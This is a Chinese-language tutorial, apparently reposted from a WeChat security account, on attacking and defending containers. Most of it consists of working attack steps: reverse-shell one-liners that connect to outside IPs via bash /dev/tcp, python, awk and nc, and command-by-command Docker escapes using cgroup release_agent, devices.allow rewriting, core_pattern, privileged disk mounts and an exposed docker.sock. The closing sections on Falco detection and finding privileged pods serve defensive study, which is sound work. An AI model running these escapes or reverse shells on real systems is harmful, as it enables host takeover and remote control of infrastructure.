ls -alh /.dockerenv
grep '/docker' /proc/1/cgroup
ps aux
which sudo
which vi
which ssh
如果上面的命令结果中,/.dockerenv文件存在,或者ps命令不存在,就算存在的话,进程数量也很少,sudo vi等命令都不存在的话,可以判断当前环境再容器环境内。
cat /proc/1/status|grep -i capeff
然后使用capsh解析具体的权限,该命令不用一定在容器中执行:
capsh --decode=00000000a82425fb
如果具备特权或者sys_admin等权限时,可以尝试逃逸。
下面将介绍下常用的反弹Shell命令。
◎bash
/bin/bash -i > /dev/tcp/1.1.1.1/2222 0<&1 2>&1
◎python
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("1.1.1.1",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
◎awk
awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
下面将介绍下常见的逃逸手段,主要是一些配置不当导致的安全风险。
◎使用特权容器挂载cgroup目录进行逃逸
当容器存在特权时,攻击者可以通过将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发Shell命令执行,完成逃逸动作。
本地也可以使用以下命令进行容器启动模拟:
docker run -it --rm --privileged tomcat bash
●攻击过程如下:
1、首先创建一个目录:
mkdir /tmp/cgrp_test
2、挂载/tmp/cgrp_test:
mount -t cgroup -o memory cgroup /tmp/cgrp_test
3、创建/tmp/cgrp_test/目录:
mkdir /tmp/cgrp_test/x
4、写入notify_on_release:
echo 1 > /tmp/cgrp_test/x/notify_on_release
5、获取容器文件系统在宿主机上的位置(host_path):
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
6、在release_agent写入存放命令的文件,后续会执行这个文件中的命令:
echo "$host_path/cmd" > /tmp/cgrp_test/release_agent
7、生成命令并把命令写入到上面文件中
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod +x /cmd
8、通过linux cgroup notify_on_release机制触发Shell命令执行
sh -c "echo $$ > /tmp/cgrp_test/x/cgroup.procs"
可以成功在容器中看到宿主机的进程:
◎利用lxcfs cgroup重写devices.allow逃逸
当容器内挂载了lxcfs文件系统时,攻击者可以通过重写devices.allow进行逃逸。
●首先在宿主机上模拟启动一个lxcfs文件系统,并挂载到容器中:
1、创建目录拿来创建文件系统:
mkdir /tmp/lxcfs_test
2、启动lxcfs:
/usr/bin/lxcfs /tmp/lxcfs_test
3、挂载
docker run -it --rm -v /tmp/lxcfs_test:/tmp/lxcfs_test tomcat bash
当容器被控时,可以通过如下命令判断是否挂载lxcfs文件系统:
mount|grep lxcfs
●如果存在lxcfs文件系统的挂载,可通过如下手法进行逃逸:
1、从磁盘挂载信息中查看/etc/hosts文件的挂载信息,得到主设备号:
2、从磁盘挂载信息中获取挂载进来的lxcfs路径
3、寻找容器cgroup在挂载进来的lxcfs中的路径:
把挂载进来的lxcfs路径和获取的值拼接即可:
4、修改devices.allow,允许容器内的进程访问宿主机上的所有设备:
echo a > /tmp/lxcfs_test/cgroup/devices/docker/f7930068dbe05633461965b461f31f169da143b0105dc48d224a232363f48f81/devices.allow
5、查看devices.list,一般是a *:* rwm,代表允许所有设备类型和设备访问,则可以根据上述获取的设备号创建设备文件:
mknod host_test b 253 0
6、然后利用利用debugfs访问设备文件即可:
debugfs host_test
但是注意的是,有些同学会遇到此类报错:
host_test contains a xfs file system
这是因为文件系统类型为xfs时需要mount权限,需要–cap-add=SYS_ADMIN权限。
◎利用SYS_ADMIN权限重写devices.allow逃逸
当容器具备SYS_ADMIN权限时,攻击者通过重写devices.allow进行逃逸。
本地也可以使用以下命令进行容器启动模拟:
docker run -it --rm --cap-add SYS_ADMIN tomcat bash
●逃逸过程如下:
1、创建/tmp/test目录:
mkdir /tmp/test
2、挂载/tmp/test目录:
mount -t cgroup -o devices devices /tmp/test
3、和lxcfs类似,修改devices.allow,允许容器内的进程访问宿主机上的所有设备:
echo a > devices.allow
4、利用mknod创建文件系统
mknod host_test b 253 0
5、上面提到,因为文件系统类型为xfs时无法使用debugfs,所以我们可以尝试另一种办法,直接挂载即可:
mount host_test /tmp/host_host
◎Procfs挂载目录挂载逃逸
在容器挂载了宿主机proc目录时,攻击者可以将恶意命令写入到宿主机proc目录中的/sys/kernel/core_pattern文件,在容器空间通过segment fault触发core dump,进而进行逃逸。
本地也可以使用以下命令进行容器启动模拟:
docker run -it --rm -v /proc:/host_proc tomcat bash
●逃逸过程如下:
1、获取容器文件系统在宿主机上的路径:
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
2、往容器中的根目录下写准备要执行的命令并赋予执行权限:
echo '#!/bin/bash' > /cmd.sh
echo 'touch /tmp/escape_test' >> /cmd.sh
chmod +x /cmd.sh
3、往在容器中挂载进来的/proc/sys/kernel/core_pattern写要让宿主机奔溃后执行的命令
echo "|$host_path/cmd.sh" > /host_proc/sys/kernel/core_pattern
4、触发段错误执行/cmd文件,可以看到宿主机/tmp目录成功创建了文件:
◎使用特权容器挂载磁盘进行逃逸
当容器存在特权时,攻击者可以通过将宿主机的物理磁盘挂载到容器中,从而使容器中可以编辑宿主机文件,完成逃逸。
本地也可以使用以下命令进行容器启动模拟:
docker run -it --rm --privileged tomcat bash
●攻击过程如下:
1、创建目录,准备拿来挂载:
mkdir /tmp/test
2、获取设备文件并挂载,可以看到成功访问宿主机根目录:
◎通过docker.sock逃逸
Docker守护程序使用Unix套接字(Unix socket)作为与客户端的通信接口。这个Unix套接字通常位于/var/run/docker.sock文件中。当在容器内挂载了宿主机的docker.sock套接字时,容器内的进程就可以通过这个套接字直接与宿主机上的Docker守护程序通信,从而可以执行宿主机上的Docker命令和操作宿主机上的Docker容器,从而进行逃逸。
在云厂商中,为了方便进行CICD和一些微服务的使用,常常也会出现该风险。
本地也可以使用以下命令进行容器启动模拟:
docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock tomcat bash
●攻击过程如下:
1、判断/var/run/docker.sock是否可用:
curl -s --unix-socket /var/run/docker.sock http://localhost/version
2、创建一个挂载根目录的容器。注意,使用的镜像得存在:
curl --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image": "tomcat", "HostConfig": {"Binds": ["/:/host_root"]}}' http://localhost/containers/create
得到容器id:
3、根据容器id启动容器:
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/543853e32064dea9f21b888e422f04142d9198a2f95ec1393f52db67ff986918/start
在宿主机上可以看到有新的容器产生,进入到新容器中,也能看到在容器中的host_root目录挂载了宿主机根目录:
4、当然,真实的环境中我们不可能在宿主机上去执行命令,那么可以继续在创建的容器中执行反弹Shell命令,来达到进入新容器中的目的。
创建反弹Shell命令:
curl -s --unix-socket /var/run/docker.sock -X POST "http://localhost/containers/543853e32064dea9f21b888e422f04142d9198a2f95ec1393f52db67ff986918/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/1.1.1.1/2333 0>&1"]}'
获取到exec id:
5、启动exec:
curl --unix-socket /var/run/docker.sock -X POST http://localhost/exec/dceae335a96ca9d489b0b6c587f4886b35254af4b7dfbc3cf9287c6f7ede4b9c/start
反弹Shell成功,也能看到挂载进来的宿主机根目录:
◎CVE-2019-14271
该漏洞影响docker版本等于19.03.0,当宿主机使用docker cp命令从容器中复制文件出来时,会加载容器中的/lib/x86_64-linux-gnu/libnss_files.so.2恶意加载库,因此攻击者将容器中的/lib/x86_64-linux-gnu/libnss_files.so.2文件替换成恶意加载库,即可进行逃逸。
这里启动一个已经替换了的/lib/x86_64-linux-gnu/libnss_files.so.2文件的容器:
准备执行的恶意命令为在宿主机根目录touch /evil文件
在宿主机上尝试docker cp时,成功触发漏洞:
◎cdk的一些小问题
在进行容器攻击时,大家或多或少的都会接触cdk该款工具,但是我在测试中,发现该工具存在一些小问题,比如在一些攻击代码中,使用了mount命令来进行挂载,但是容器中有可能不存在mount命令从而导致攻击失败:
还有针对设备节点的获取错误问题,以特权容器挂载磁盘逃逸为例,我们使用cdk进行逃逸,发现逃逸失败了:
通过分析代码,发现是因为他获取的设备节点存在问题,他使用了disk.Partitions(false)函数获取系统的所有磁盘分区信息:
但是该函数并不能获取到LVM的分区,导致了工具的利用失败。
◎监控反弹Shell行为
上面章节介绍了容器内的反弹Shell命令,那如何检测反弹Shell行为也是甲方安全的一大重点方向,下面我将介绍使用Falco完成反弹Shell的检测。
首先我们进入到容器中进行反弹Shell:
发现Falco成功检测到了该反弹Shell行为:
那么Falco如何检测到行为的呢,我们根据规则能看到是根据fd文件描述符进行的匹配:
我们继续看下不同反弹Shell的描述符情况,看看啥特性或者共性:
bash -i >& /dev/tcp/1.1.1.1/10000 0>&1
python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("yourip",yourport));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 1337 0<$TF | /bin/sh 1>$TF
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 114.67.110.37 10000 >/tmp/f
根据上面的反弹Shell行为,发现有几个特性,或者说共性:
fd有对外的socket连接,且fd.num不超过3
fd有pipe管道,且fd.num不超过4
fd.255是/dev/tty
根据综上所述,可以编写对应的规则来完善Falco,规则的编写这里就不展开讲了,欢迎读者亲自去体验。
◎发现配置不当的容器
上面章节介绍的逃逸动作,很多都是因为配置不当导致的安全风险,比如配置了过多的Capabilities,那我们是否可以发现这些配置不当的容器呢,答案当然是可以的。
●这里以K8s为例,首先我们创建一个具备特权的pod:
apiVersion: v1
kind: Pod
metadata:
name: zqa-target-privileged-pod
labels:
app: zqa-target-privileged-pod
spec:
containers:
- name: zqa-target-privileged-container
image: busybox:latest
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
command: [ "sh", "-c", "sleep 1h" ]
然后通过kubeconfig来发现存在特权的容器,代码如下:
#coding:utf-8
#author:Jumbo
from kubernetes import client, config
config.load_kube_config(config_file="/tmp/kubeconfig")
v1 = client.CoreV1Api()
ret = v1.list_pod_for_all_namespaces(watch=False)
for i in ret.items:
print("%st%st%s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))
for container in i.spec.containers:
if container.security_context and container.security_context.privileged:
print(f"{i.metadata.name}存在特权容器")
成功发现了该特权容器:
原文始发于微信公众号(知其安科技):技术实践|容器安全攻击与防御
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论